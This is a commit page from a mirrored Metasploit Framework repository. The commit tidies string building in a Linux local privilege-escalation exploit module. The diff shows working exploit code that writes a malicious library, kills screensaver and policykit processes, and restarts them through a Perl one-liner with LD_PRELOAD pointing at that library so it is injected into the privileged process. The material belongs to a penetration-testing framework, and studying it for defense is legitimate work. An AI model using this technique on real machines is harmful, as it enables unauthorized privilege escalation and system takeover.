infosecn1nja
/
metasploit-framework
mirror of https://github.com/infosecn1nja/metasploit-framework.git
1
0
Fork 0
Code Issues Packages Projects Releases Wiki Activity

Beautify restart_command creation

bug/bundler_fix
jvazquez-r7 2014-12-24 15:52:15 -06:00
parent 43ec8871bc
commit 121c0406e9
1 changed files with 6 additions and 4 deletions
Show Stats Download Patch File Download Diff File Expand all files Collapse all files

10
modules/exploits/linux/local/desktop_privilege_escalation.rb
View File

@ -107,7 +107,7 @@ class Metasploit4 < Msf::Exploit::Local
write_file(lib_file,lib_data)
print_status('Restarting processes (screensaver/policykit)')
restart_commands = get_restart_commands()
restart_commands = get_restart_commands
restart_commands.each do |cmd|
cmd['LD_PRELOAD_PLACEHOLDER'] = lib_file
cmd_exec(cmd)
@ -140,11 +140,13 @@ class Metasploit4 < Msf::Exploit::Local
exe = lines[i+1].match(/^EXE:(\S+)$/)[1]
vprint_status("exe=#{exe}")
cmdline = [lines[i+2].match(/^cmdline:(\w+)$/)[1]].pack("H*").split("\x00")
vprint_status("CMDLINE=" + cmdline.join(" XXX "))
cmdline = [lines[i+2].match(/^cmdline:(\w+)$/)[1]].pack('H*').split("\x00")
vprint_status("CMDLINE=" + cmdline.join(' XXX '))
env = lines[i+3].match(/^environ:(\w+)$/)[1]
restart_command = 'perl -e \'use POSIX setsid;open STDIN,"</dev/null";open STDOUT,">/dev/null";open STDERR,">/dev/null";exit if fork;setsid();kill(9,' + pid + ')||exit;%ENV=();for(split("\0",pack("H*","' + env + '"))){/([^=]+)=(.*)/;$ENV{$1}=$2}$ENV{"LD_PRELOAD"}="LD_PRELOAD_PLACEHOLDER";exec {"' + exe + '"} ' + cmdline.map{|x| '"' + x + '"'}.join(", ") + '\'';
restart_command = 'perl -e \'use POSIX setsid;open STDIN,"</dev/null";open STDOUT,">/dev/null";open STDERR,">/dev/null";exit if fork;setsid();'
restart_command << 'kill(9,' + pid + ')||exit;%ENV=();for(split("\0",pack("H*","' + env + '"))){/([^=]+)=(.*)/;$ENV{$1}=$2}'
restart_command << '$ENV{"LD_PRELOAD"}="LD_PRELOAD_PLACEHOLDER";exec {"' + exe + '"} ' + cmdline.map{|x| '"' + x + '"'}.join(", ") + '\''
vprint_status("RESTART: #{restart_command}")
restart_commands.push(restart_command)